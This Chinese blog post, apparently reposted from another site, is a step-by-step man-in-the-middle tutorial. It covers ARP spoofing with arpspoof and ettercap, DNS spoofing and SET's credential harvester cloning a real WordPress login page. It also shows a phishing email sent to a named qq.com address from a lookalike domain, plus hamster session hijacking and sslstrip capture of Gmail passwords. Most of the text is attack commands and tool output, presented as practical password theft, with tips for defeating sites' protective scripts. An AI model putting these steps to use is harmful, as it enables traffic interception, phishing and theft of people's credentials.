中间人攻击之arp欺骗 科普ARP欺骗
中间人攻击之arp欺骗
科普ARP欺骗
此时若hacker冒充B的MAC,于是A -> hacker。
(1)如何清空A中的ARP Table?不然它一查询,直接发包给B。
- 经过百度:
- ARP Table采用老化机制,某一行一段时间不用就被删除,提速。
- hacker大量发ARP包产生大量ARP通信量使通络堵塞,A就找不到B,A必然会发ARP Request包问:B是谁,
- 此时hacker的伪造包,也就改变了A中的ARP Table。
(2)如何保证在B前响应A的请求查询?
- 因为(1)中已经提到,局域网中充斥着大量hacker伪造B的ARP响应包,B竞争不过hacker,所以hacker会比B更快响应。
科普BT5下arpspoof 和 driftnet 和 wireshark
- A(192.168.0.1) <-> B(192.168.0.109)
- A’s MAC: 00-0C-29-7A-33-66
- B’s MAC: 34-08-04-0B-70-E8
- 192.168.0.108
- hacker’s MAC: 00:0c:29:0a:ab:97
- A -> hacker -> B
- A <- hacker <- B
- echo 1 > /proc/sys/net/ipv4/ip_forword
- #欺骗192.168.0.109,hacker就是192.168.0.1:
- root@bt:~# arpspoof -i eth0 -t 192.168.0.109 192.168.0.1
- #欺骗192.168.0.1,hacker就是192.168.0.109:
- root@bt:~# arpspoof -i eth0 -t 192.168.0.1 192.168.0.109
- driftnet -i eth0
使用wireshark抓取数据包:
- root@bt:~# wireshark
- ip.addr==192.168.0.109 and
- ip.src==192.168.0.109 and
- ip.dst==192.168.0.109
- tcp.port == 80
过滤协议:
- http or telnet
科普DNS欺骗:
- DNS劫持!
- DNS劫持是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能反应或访问的是假网址。
攻击步骤:
1. 采用ettercap,arp 欺骗
- echo 1 > /proc/sys/net/ipv4/ip_forword
- root@bt:~# ettercap -G #启动可视化
- Sniff -> Unified Sniffing
- Eth0 -> OK
- Hosts -> Scan for hosts
- Hosts -> Hosts List
- Add to target1 -> 192.168.0.1 #网关
- Add to target2 -> 192.168.0.111 #受攻击者
- Mitm -> Arp poisoning
- Start -> Start sniffing
在受攻击者中发现已经arp欺骗成功(欺骗192.168.0.111,192.168.0.108是网关192.168.0.1):
2. 修改etter.dns 文件
- root@bt:/usr/share# locate etter.dns
- /usr/local/share/ettercap/etter.dns
- /usr/local/share/videojak/etter.dns
- root@bt:/usr/share# gedit /usr/local/share/ettercap/etter.dns
这么修改:
3. 开始dns+spoof
- ettercap -> Plugins -> Mange the plugins
- 双击 dns_spoof 出现:Activating dns_spoof plugin..
- 等一段时间。。.(十分钟之内吧。。)
4. SET社会工程学攻击
- http://www.xigema-team.org/wp-login.php
- root@bt:~# cd /pentest/exploits/set/
- root@bt:/pentest/exploits/set# ./set
- Select from the menu:
- 1) Social-Engineering Attacks
- 2) Fast-Track Penetration Testing
- 3) Third Party Modules
- 4) Update the Metasploit Framework
- 5) Update the Social-Engineer Toolkit
- 6) Update SET configuration
- 7) Help, Credits, and About
- 99) Exit the Social-Engineer Toolkit
- set> 1
- Select from the menu:
- 1) Spear-Phishing Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generator
- 4) Create a Payload and Listener
- 5) Mass Mailer Attack
- 6) Arduino-Based Attack Vector
- 7) SMS Spoofing Attack Vector
- 8) Wireless Access Point Attack Vector
- 9) QRCode Generator Attack Vector
- 10) Powershell Attack Vectors
- 11) Third Party Modules
- 99) Return back to the main menu.
- set> 2
- Select from the menu:
- 1) Java Applet Attack Method
- 2) Metasploit Browser Exploit Method
- 3) Credential Harvester Attack Method
- 4) Tabnabbing Attack Method
- 5) Man Left in the Middle Attack Method
- 6) Web Jacking Attack Method
- 7) Multi-Attack Web Method
- 8) Victim Web Profiler
- 9) Create or import a CodeSigning Certificate
- 99) Return to Main Menu
- set:webattack>3
- The first method will allow SET to import a list of pre-defined web
- applications that it can utilize within the attack.
- The second method will completely clone a website of your choosing
- and allow you to utilize the attack vectors within the completely
- same web application you were attempting to clone.
- The third method allows you to import your own website, note that you
- should only have an index.html when using the import website
- functionality.
- 1) Web Templates
- 2) Site Cloner
- 3) Custom Import
- set:webattack>2
- [-] Credential harvester will allow you to utilize the clone capabilities within SET
- [-] to harvest credentials or parameters from a website as well as place them into a report
- [-] This option is used for what IP the server will POST to.
- [-] If you’re using an external IP, use your external IP for this
- set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.0.108
- [-] SET supports both HTTP and HTTPS
- [-] Example: http://www.thisisafakesite.com
- set:webattack> Enter the url to clone:http://www.xigema-team.org/wp-login.php
- [*] Cloning the website: http://www.xigema-team.org/wp-login.php
- [*] This could take a little bit…
- The best way to use this attack is if username and password form
- fields are available. Regardless, this captures all POSTs on a website.
- [!] I have read the above message.
- Press <return> to continue
- [*] Social-Engineer Toolkit Credential Harvester Attack
- [*] Credential Harvester is running on port 80
- [*] Information will be displayed to you as it arrives below:
- 在网站克隆的时候,需要注意点就是,大网站如gmail.com,mail.qq.com直接clone会失败。
- 因为这些网站的js代码会探测是否是正常环境并跳转链接。.。
- 如果手工下载网页,对JS代码做一些修改。。
- 盗密码果然需要麻烦一些:内网+改页面代码。。
- 当然,BT5也集成了5个模板:gmail,facebook,twitter,google,java required(这是啥?)
- 可是使用gmail的时候,竟然因为cookie被禁用而error,其实不是cookie被禁用,而是里面有一段保护的js代码!
- Select from the menu:
- 1) Spear-Phishing Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generator
- 4) Create a Payload and Listener
- 5) Mass Mailer Attack
- 6) Arduino-Based Attack Vector
- 7) SMS Spoofing Attack Vector
- 8) Wireless Access Point Attack Vector
- 9) QRCode Generator Attack Vector
- 10) Powershell Attack Vectors
- 11) Third Party Modules
- 99) Return back to the main menu.
- set> 5
- Social Engineer Toolkit Mass E-Mailer
- There are two options on the mass e-mailer, the first would
- be to send an email to one individual person. The second option
- will allow you to import a list and send it to as many people as
- you want within that list.
- What do you want to do:
- 1. E-Mail Attack Single Email Address
- 2. E-Mail Attack Mass Mailer
- 99. Return to main menu.
- set:mailer>1
- set:phishing> Send email to:xihuanjiechun@qq.com
- 1. Use a gmail Account for your email attack.
- 2. Use your own server or open relay
- set:phishing>1
- set:phishing> Your gmail email address:xihuanjianguo@gmail.com
- Email password:
- set:phishing> Flag this message/s as high priority? [yes|no]:y
- set:phishing> Email subject:change your password from xigema-team.org
- set:phishing> Send the message as html or plain? ‘h’ or ‘p’ [p]:h
- set:phishing> Enter the body of the message, hit return for a new line. Control+c when finished:<a>www.xigema-term.org/wp-login.php</a> change your password!
- Next line of the body: ^C
- [*] SET has finished sending the emails
邮件收到:
中间人攻击之会话劫持
科普会话劫持
科普hamster的攻击流程
- root@bt:~# locate hamster
1. 先用ettercap进行ARP欺骗
2. 开启wireshark,抓包,保存为pcap
3. ferret 分析包
- root@bt:/pentest/sniffers/hamster# ./ferret -r /root/Desktop/baidu.pcap
它就创建一个叫hamster.txt的文件,以便hamster进行真正的会话劫持~
- root@bt:/pentest/sniffers/hamster# ls
- favicon.ico ferret hamster hamster.css hamster.js hamster.txt
4.配置网络代理
- firefox -> edit -> preferences -> Advanced -> Network -> Connection Setting
- 配置为1234端口监听
如下图所示:
5. hamster 发起会话劫持
- 遇到gmail又一次失败,连接不到服务器!
- 换成百度网盘则成功,这里我猜想,gmail不全是靠cookie验证~
- 而且,即使我们的受攻击者,关闭了百度网盘,在BT5下,也是劫持成功的!
中间人攻击之SSL会话劫持
科普SSL会话
- How does this work?
- First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
- At this point, sslstrip receives the traffic and does its magic.
其实就是在进行HTTPS之前,把它换成HTTP连接,此时就明文探测到了用户名和密码!
科普SSLstripg攻击流程:
1.开启路由转发功能
- root@bt:~# echo “1″ > /proc/sys/net/ipv4/ip_forward
吐槽:
- 这个太坑爹了,每次重启都得来一次。以为它是固定的,然后出错了,各种没头绪呢,网上的资料太少了。
- 大家每次重启后,一定要记得开启啊!!
2.设置iptables
- root@bt:/pentest/web/sslstripiptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
前面都是固定的,后面–to-ports 加个端口即可!
- 如此一来,就把受攻击机上的来自80端口的流量全部导入10000端口,此时,受攻击机器,应该是上不了网的。
- 但是可以ping 通。
3.SSLstrip 监听 10000端口
- root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
这里把记录放入/pentest/web/sslstrip/log.txt中,在里面查看用户名和密码即可。
- -l 是监听
- -p 是只记录SSL PORT的内容
4. log.txt获取gmail用户名,密码
- root@bt:/pentest/web/sslstrip# python sslstrip.py -p -l 10000 -w log.txt
- sslstrip 0.9 by Moxie Marlinspike running…
- Unhandled Error
- Traceback (most recent call last):
- File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 84, in callWithLogger
- return callWithContext({“system”: lp}, func, *args, **kw)
- File “/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-i686.egg/twisted/python/log.py”, line 69, in callWithContext
- return context.call({ILogContext: newCtx}, func, *ar
这个东西出错了没关系,照样能获取密码!!!
摘自http://www.backlion.com/%E5%88%9D%E6%8E%A2mitm%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB/
中间人攻击之arp欺骗 科普ARP欺骗的更多相关文章
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- 中间人攻击工具ettercap
中间人攻击工具ettercap (一).简介 (二).模块划分 1.Snifer 2.MITM 3.Filter 4.Log 5.Plugin (三).特性 (四).用户操作界面 (五).指定目标 ( ...
- 中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- Linux下中间人攻击利用框架bettercap测试
0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...
- ARP欺骗与中间人攻击
前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...
- 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )
一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...
- 中间人攻击——ARP欺骗的原理、实战及防御
1.1 什么是网关 首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门. 1.2 A ...
- 【网络编程4】网络编程基础-ARP响应(ARP欺骗之中间人攻击)
arp欺骗->arp响应 ARP 缓存中毒(ARP欺骗) arp传送原理在于主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址:收到返回消 ...
- ARP欺骗与MITM(中间人攻击)实例
ARP协议(address resolution protocol):地址解析协议 一台主机和另一台主机通信,要知道目标的IP地址,但是在局域网中传输数据的网卡却不能直接识别IP地址,所以用ARP解析 ...
随机推荐
- DotNetTextBox使用方法步骤
对于使用这个控件的研究我是用4个小时的工作终于完成成功了 现在请允许我在这里和你讲讲这个控件的使用方法 第一首先要从百度或是谷歌里下载一个dotnetTextBox第三方控件在解压后里面有三个文件 分 ...
- Mysql实时双备
设置方法: 步一设 A 服务服 (192.168.1.43) 上用户为 backup, 123456 , 同步的数据库为test; B 服务服 (192.168.1.23) 上用户为 root, 12 ...
- [置顶] 第一天初试linux
1).unix linix macos android 的区别 Unix是要收费的,而linix是一种开源免费的unix ,macos 和andorid又是linux的一种,macos闭源,仅仅是 ...
- linux下安装apache2.4
linux安装Apache2步骤如下 apr 下载地址 http://mirrors.cnnic.cn/apache//apr/apr-1.5.2.tar.gz 安装过程 tar -xzvf apr- ...
- using(){},Close(),Dispose()的区别
//用Close(),Dispose()方式关闭连接 string connString = "Data Source=(local);Initial Catalog=Linq;Integr ...
- Android SDK目录含义介绍
Android SDK目录的具体结构: 1.add-ons:该目录下存放第三方公司为Android平台开发的附加功能系统. 2.build-tools:编译工具.保存着一些通用工具,比如aapt.ai ...
- 学习笔记_Java_day13_JSTL_自定义标签库(9)
自定义标签 1 自定义标签概述 1.1 自定义标签的步骤 其实我们在JSP页面中使用标签就等于调用某个对象的某个方法一样,例如:<c:if test=””>,这就是在调用对象的方法一样.自 ...
- swift-07-使用for-in 遍历数组
//for-in /* for 迭代变量 in集合变量 { 使用迭代变量便利所有数据 } */ //遍历数组 var arr = ["a" ,"b" ,&quo ...
- DataTable.ImportRow()与DataTable.Rows.Add()的区别
今天写代码的时候用到ImportRow()向DataTable中添加记录,代码如下: DataTable dt = datatable;DataRow dr = dt.NewRow();dr[&quo ...
- tomcat优化系列:修改运行内存
1.对于安装版的TOMCAT: 进入TOMCAT的安装目录下的bin目录,双击tomcat6w.exe.点击Java选项卡,可设置初始化内存,最大内存,线程的内存大小. 初始化内存:如果机器的内存足够 ...